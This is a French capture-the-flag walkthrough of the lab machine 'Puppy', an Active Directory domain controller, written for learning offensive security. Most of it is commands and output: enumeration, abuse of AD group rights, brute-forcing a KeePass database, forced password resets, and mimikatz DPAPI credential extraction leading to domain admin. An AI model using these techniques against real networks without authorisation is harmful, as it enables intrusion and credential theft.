Introduction
Un utilisateur associé à son mot de passe est donné par défaut pour cette machine :
| Utilisateur | Mot de passe |
|---|---|
| levi.james | KingofAkron2025! |
Enumération
Nmap
Scan TCP
nmap -p- -sV 10.129.127.172
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-29 15:28:26Z)
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc Microsoft Windows RPC
51946/tcp open msrpc Microsoft Windows RPC
53853/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Scan UDP
nmap -p- -sU 10.129.127.172
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
111/udp open rpcbind
123/udp open ntp
389/udp open ldap
2049/udp open nfs
Ajout d'un serveur de résolution de noms
nano /etc/resolv.conf
nameserver 10.129.127.172
nameserver 1.1.1.1
nameserver 8.8.8.8
SMB
smbmap -u levi.james -p 'KingofAkron2025!' -d PUPPY -H 10.129.127.172
[+] IP: 10.129.127.172:445 Name: 10.129.127.172
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DEV NO ACCESS DEV-SHARE for PUPPY-DEVS
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Synchroniser l'horloge
Pour utiliser Kerberos, l'horloge de la machine attaquante doit être synchronisée avec celle du serveur AD.
Sans cela, l'erreur KRB_AP_ERR_SKEW(Clock skew too great) peut apparaître.
apt install rdate && rdate -n dc.puppy.htb
Bloodhound
bloodhound-python -dc dc.puppy.htb -u ant.edwards -p 'Antman2025!' -d puppy.htb -c ALL
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 02S
Foothold
Accès au partage DEV
Après l'ingestion des données dans Bloodhound, nous pouvons voir que l'utilisateur levi.james (groupe HR) peut modifier le groupe DEVELOPERS, qui a probablement accès au partage SMB DEV.

Avec ces droits sur le groupe DEVELOPERS, nous pouvons essayer d'y ajouter notre utilisateur pour tenter d'accéder au partage DEV.
vim ./add.ldif
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
ldapmodify -x -D "CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB" -H ldap://dc.puppy.htb -f ./add.ldif -w KingofAkron2025!
modifying entry "CN=DEVELOPERS,DC=PUPPY,DC=HTB"
Se connecter au partage DEV. --use-kerberos=off permet d'utiliser l'authentification NTLM : cela permet de préciser le nom du contrôleur de domaine sans passer par l'IP.
smbclient -U PUPPY.HTB/levi.james --password="KingofAkron2025!" \\\\dc.puppy.htb\\DEV --use-kerberos=off
smb: \> ls
. DR 0 Sun Mar 23 02:07:57 2025
.. D 0 Sat Mar 8 10:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 02:09:12 2025
Projects D 0 Sat Mar 8 10:53:36 2025
recovery.kdbx A 2677 Tue Mar 11 21:25:46 2025
5080575 blocks of size 4096. 1647586 blocks available
Télécharger la base KeePass sur la machine attaquante.
get recovery.kdbx
Bruteforce de la base Keepass
La base KeePass est au format kdbx4. Convertir le mot de passe dans un format John the Ripper n'est pas possible pour le moment avec keepass2john (prise en charge uniquement des formats 1.x et 2.x). Il faut donc utiliser le script Bash keepass4brute.sh.
apt install keepassxc
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
[*] Password found: liverpool
Un bruteforce avec keepass4brute.sh révèle le mot de passe liverpool. Avec keepassxc-cli, on extrait 5 entrées dont voici le résumé.
| Utilisateur | Mot de passe |
|---|---|
| JAMIE WILLIAMSON | JamieLove2025! |
| ADAM SILVER | HJKL2025! |
| ANTONY C. EDWARDS | Antman2025! |
| STEVE TUCKER | Steve2025! |
| SAMUEL BLAKE | ILY2025! |
Cependant le mot de passe de l'utilisateur ADAM SILVER (adam.silver) semble invalide et l'utilisateur est désactivé.
Changement du mot de passe de adam.silver
Nous pouvons voir que l'utilisateur adam.silver est autorisé à établir une session distante via WinRM. De plus, l'utilisateur ant.edwards fait partie du groupe SENIOR DEVS. Les membres de ce groupe sont autorisés à modifier sans limites l'objet adam.silver.

Avec ces permissions, il est facile de changer le mot de passe de l'utilisateur adam.silver, puis d'utiliser ce compte pour démarrer une session distante.
net rpc password "adam.silver" "Toor2025!" -U "PUPPY.HTB"/"ant.edwards"%"Antman2025!" -S "10.129.127.172"
Activation de adam.silver
vim ./enable.ldif
dn: CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 66048
ldapmodify -x -D "CN=ANTHONY J. EDWARDS,DC=PUPPY,DC=HTB" -w Antman2025! -H ldap://dc.puppy.htb -f ./enable.ldif
modifying entry "CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB"
Connexion distante
Une fois le compte activé et le mot de passe changé, il est possible d'établir une connexion WinRM.
evil-winrm -u adam.silver -p Toor2025! -i dc.puppy.htb
Récupérer le flag
gc ../Desktop/user.txt
Élévation de privilèges
Lors de l'énumération, nous trouvons une archive zip située à l'emplacement C:\Backups\site-backup-2024-12-30.zip.
Expand-Archive C:\Backups\site-backup-2024-12-30.zip
Le fichier nms-auth-config.xml.bak contient les identifiants du compte steph.cooper.
gc site-backup-2024-12-30\puppy\nms-auth-config.xml.bak
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
Connexion avec steph.cooper
Il faut désormais se connecter avec le compte steph.cooper. Comme un utilisateur administrateur nommé steph.cooper_adm a été découvert lors de la phase d'énumération, il existe peut-être un moyen de récupérer les identifiants de cet utilisateur depuis le compte steph.cooper.
evil-winrm -u steph.cooper -p ChefSteph2025! -i dc.puppy.htb
Récupération des identifiants de steph.cooper_adm
Lors de la vérification des dossiers suivants :
gci C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\ -hidden
C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
gci C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials -hidden
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Plusieurs fichiers d'identifiants ont été trouvés, ces fichiers peuvent potentiellement contenir des identifiants sauvegardés par l'utilisateur, y compris ceux de comptes privilégiés. Pour interagir avec ces fichiers, il est possible d'utiliser Mimikatz. Des versions compilées sont disponibles ici.
Pour voir les informations sur les fichiers (comme la masterkey associée ou les propriétés) :
./mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" "exit"
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {556a2412-1275-4ccf-b721-e6a0b4f90407}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 0000003a - 58
szDescription : Enterprise Credential Data
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : 711bed180e9affbd35ae0e91ff77b395
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : 0ad0ff7a33f05732d938c7562521cd70
dwDataLen : 000000d0 - 208
pbData : 315eb3036256373fb93c03158b0669b2281ac05551a17e77d5ae4ccb42ed8004d7aed11eb66c4149d0275f70138d963f098369ad7155d75ae60f4a2543b1efec3ae75049fdd91a66210b3db503c73a24218b8d6b92efc7d09f22d6e5154b2f3669dbeea011c494d44b3115d1c2a7d713d5f1c81e5d1c5db22f1ad7d475e21cc4fabf9cde4f63c4d1dd3f22eebc358797c4ce5097ec817322ed1abf218f9eb20336006eb48907597fb18ebcd6297184886acc91b82246f7ddc05c5bfd7ac44fd3a9f281b12e423a32bf1098565b8d2e35
dwSignLen : 00000014 - 20
pbSign : 3ab1905cf0eef6d04985f52dfb4989a7f6c1a49c
L'identifiant de la masterkey (guidMasterKey) est 556a2412-1275-4ccf-b721-e6a0b4f90407. Elle se trouve donc à l'emplacement :
C:\Users\<utilisateur>\AppData\Roaming\Microsoft\Protect\<SID Utilisateur>\<GUID masterkey>
Pour trouver le SID de l'utilisateur:
whoami /user
La clé se situe donc ici :
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
Pour déchiffrer la masterkey, il est possible d'effectuer l'opération via Mimikatz avec un mot de passe et le SID de l'utilisateur, ou bien de demander au contrôleur de domaine d'effectuer l'opération pour nous.
Effectuer l'opération en local:
./mimikatz.exe "dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /sid:S-1-5-21-1487982659-1829050783-2281216199-1107 /password:ChefSteph2025! /protected" "exit"
OU
Effectuer l'opération par le contrôleur de domaine:
./mimikatz.exe "dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /rpc" "exit"
Nous avons maintenant la clé qui permet de déchiffrer les identifiants enregistrés.
key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Déchiffrer le fichier d'identifiants :
./mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84" "exit"
Decrypting Credential:
* masterkey : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000c8 - 200
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 3/8/2025 3:54:29 PM
unkFlagsOrSize : 00000030 - 48
Persist : 00000003 - 3 - enterprise
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=PUPPY.HTB
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : steph.cooper_adm
CredentialBlob : FivethChipOnItsWay2025!
Attributes : 0
Connexion en tant qu'administrateur
En possession des identifiants de steph.cooper_adm, il est maintenant possible de se connecter à la machine en tant qu'administrateur.
evil-winrm -u steph.cooper_adm -p FivethChipOnItsWay2025! -i dc.puppy.htb
Récupérer le flag
gc C:\Users\Administrator\Desktop\root.txt